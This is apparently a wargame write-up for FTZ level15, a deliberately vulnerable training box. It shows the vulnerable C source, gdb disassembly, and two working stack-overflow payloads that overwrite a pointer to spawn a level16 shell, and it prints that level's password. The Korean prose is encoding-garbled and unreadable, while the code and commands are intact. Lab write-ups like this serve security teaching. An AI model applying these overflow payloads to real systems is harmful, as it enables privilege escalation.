[FTZ] level15 ํ์ด
๐ก FTZ level15 ํ์ด
๋ฌธ์
๊ณ์ : level15/guess what
hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
ํ์ด
์ด๋ฒ ๋ฌธ์ ๋ 2๊ฐ์ง์ ๋ฐฉ๋ฒ์ผ๋ก ํ์ด๋ณด๊ฒ ์ต๋๋ค.
ํ๊ฒฝ๋ณ์
๊ณ์ ์ด์ฉํ๋ ํ๊ฒฝ ๋ณ์๋ฅผ ์ด์ฉํ์ฌ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์์ต๋๋ค.
ํ์ง๋ง ์ด์ ๋ฌธ์ ๋ค๊ณผ ๋ค๋ฅด๊ฒ ์ฃผ์๋ฅผ ํด์ผ ํ๋ ๋ถ๋ถ์ด ์กด์ฌํฉ๋๋ค.
์ด๋ฒ ๋ฌธ์ ๋ ret ์ฃผ์๋ฅผ ๋ฎ์ด ์ฐ๋๊ฒ ์๋, check ๋ณ์๋ฅผ ๋ฎ์ด์จ์ check ๋ณ์์ ํฌ์ธํฐ๊ฐ ๊ฐ๋ฆฌํค๊ณ ์๋ ์์น์ 0xdeadbeef ๊ฐ์ด ์์ผ๋ฉด ์์ ์ป์ ์ ์์ต๋๋ค.
๋ค๋ฅธ ์์ ๋ฐ๋ ๋ฌธ์ ๋ค์์๋ ํ๊ฒฝ๋ณ์์ ์์น๊ฐ ๋ช ๋ฐ์ดํธ ๋ค๋ฅด๊ฒ ๋์๋ nop(0x90) ๋ฌธ์๋ฅผ ์ด์ฉํ์ฌ ๋ณด์ํด ์คฌ๋ค๋ฉด, ์ด๋ฒ ๋ฌธ์ ์์๋ 1๋ฐ์ดํธ๋ผ๋ ๋ค๋ฅด๋ฉด segmentation falut ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
์ฐ์ โ์ ํํ๊ฒโ ํ๊ฒฝ๋ณ์์ ์์น๋ฅผ ๋ง์ถ๊ธฐ ์ํด์ ์์์ผ ํ๋ ์ฌํญ์ ํ๊ฒฝ๋ณ์๊ฐ ์คํ์ ๋ถ๋ฌ์ง๋ค๋ ์ฌ์ค๊ณผ, ์ด ๋ณ์๋ค์ ์คํ ํ๋ก๊ทธ๋จ ์ด๋ฆ์ ๊ธธ์ด์ ์ํฅ์ ๋ฐ๋๋ค๋ ๊ฒ์ ๋๋ค.
๋ค์์ ์ฝ๋๋ฅผ ๋ณด๋ฉด ๊ฐ์ ํ๊ฒฝ๋ณ์ ์ฃผ์๋ฅผ ๊ตฌํ๋ ์ฝ๋์ง๋ง ์ด๋ฆ์ด 1๊ธ์ ์ฐจ์ด์ ์์น๊ฐ 2 byte ์ฐจ์ด๊ฐ ๋๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
[level15@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("CHECK"));}'>> env.c
[level15@ftz tmp]$ gcc -o env12345 env.c
[level15@ftz tmp]$ gcc -o env1234 env.c
[level15@ftz tmp]$ gcc -o env123 env.c
[level15@ftz tmp]$ ./env123
0xbffffcc3
[level15@ftz tmp]$ ./env1234
0xbffffcc1
[level15@ftz tmp]$ ./env12345
0xbffffcbf
๋ฐ๋ผ์ ์ด๋ฒ์๋ ํ๊ฒฝ๋ณ์๋ฅผ ์ ํํ๊ฒ ์ป๊ธฐ ์ํด์ attackme ํ๋ก๊ทธ๋จ์ ์ด๋ฆ ๊ธธ์ด๊ฐ 8์๋ฆฌ ์ด๋ฏ๋ก env12345 ํ๋ก๊ทธ๋จ์ผ๋ก ๊ตฌํ 0xbffffcbf์ฃผ์๋ฅผ ์ฌ์ฉํฉ๋๋ค.
gdb๋ฅผ ์ด์ฉํ์ฌ buf ์์น์ check ๋ณ์์ ์์น๊ฐ ์ผ๋งํผ ์ฐจ์ด๋๋์ง ํ์ธ ํฉ๋๋ค.
[level15@ftz level15]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56] //buf ์์น
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16] //check ์์น
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
์ด 40๋ฐ์ดํธ์ ์์น๊ฐ ์ฐจ์ด ๋ฉ๋๋ค.
๋ฐ๋ผ์ dummy ๋ฌธ์๋ก 40๋ฐ์ดํธ๋ฅผ ์ฒด์ด ๋ค, ํ๊ฒฝ ๋ณ์ ์ฃผ์๋ฅผ ์ ๋ ฅํด ์ค๋๋ค. ์ฑ๊ณต์ ์ผ๋ก ์์ ํ๋ํ์ต๋๋ค.
[level15@ftz level15]$ (python -c'print("A"*40+"\xbf\xfc\xff\xbf")';cat)|./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password is "about to cause mass".
์คํ์์ ์ฐพ๊ธฐ
check์ ํฌ์ธํฐ์ ๊ฐ๊ณผ 0xdeadbeef ๊ฐ์ ๋น๊ต๋ฅผ ํ๊ธฐ ์ํด์ ๋ถ๋ช ํ ๋ฉ๋ชจ๋ฆฌ ์์ 0xdeadbeef ๊ฐ์ ์ ์ฅํ ์์น๊ฐ ์์ ๊ฒ์ ๋๋ค.
์ด๋ฒ์๋ ๊ทธ ๊ฐ์ ์ฐพ์์ ํด๊ฒฐํด ๋ณด๊ฒ ์ต๋๋ค.
๋จผ์ ๋๋ฒ๊น ์ ์ํด์ attackme ํ์ผ์ tmpํด๋๋ก ๋ณต์ฌํ ๋ค์ gdb๋ฅผ ์คํ์์ผ ์ค๋๋ค.
[level15@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef //๋ธ๋ ์ดํฌ ์ง์
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
ํฌ์ธํฐ ๊ฐ๊ณผ 0xdeadbeef ๊ฐ์ ๋น๊ณ ใ ํ๋ ์ง์ ์ธ main+32์ฃผ์์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ๊ณ ์คํํฉ๋๋ค.
(gdb) b *main+32
Breakpoint 1 at 0x80484b0
(gdb) run
Starting program: /home/level15/tmp/attackme
test
Breakpoint 1, 0x080484b0 in main ()
(gdb) info reg
eax 0xbffff138 -1073745608
ecx 0x5 5
edx 0x4212e130 1108533552
ebx 0x42130a14 1108544020
esp 0xbffff100 0xbffff100
ebp 0xbffff138 0xbffff138
esi 0x40015360 1073828704
edi 0x8048520 134513952
eip 0x80484b0 0x80484b0
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51
eip ์ง์ ์ ๋ํด์ 16๊ฐ์ word๋ฅผ ์ถ๋ ฅํด ๋ด ๋๋ค.
(gdb) x/16xw $eip
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310
0x80484d0 <main+64>: 0x04854868 0xfe66e808 0xc483ffff 0x90c3c910
0x80484e0 <__do_global_ctors_aux>: 0x53e58955 0xa104ec83 0x0804962c 0x04962cbb
(gdb)
๋งจ ์ฒ์ 2๊ฐ์ word๋ฅผ ๋ณด๋ฉด beef์ dead๊ฐ ๋๋์ด์ ์ ์ฅ๋์ด ์๋๊ฒ ๋ณด์ ๋๋ค. ํ์ฌ ์ฃผ์๊ฐ 0xb0์ผ๋ก ๋๋๋ฏ๋ก 2๋ฐ์ดํธ๋ฅผ ๋ฐ์ด์ ์ถ๋ ฅํด ๋ด ๋๋ค.
(gdb) x/2xw 0x80484b2
0x80484b2 <main+34>: 0xdeadbeef 0xec832575
(gdb)
0xdeadbeef๊ฐ ์ ์ฅ๋ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ 0x80484b2์ ๋๋ค.
์ด๋ฅผ ์ด์ฉํด์ check ๊ฐ์ ํด๋น ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ก ๋ฎ์ด์ฃผ๋ฉด ์์ ํ๋ํ ์ ์์ต๋๋ค.
[level15@ftz level15]$ (python -c 'print("A"*40+"\xb2\x84\x04\x08")';cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
๋๊ธ๋จ๊ธฐ๊ธฐ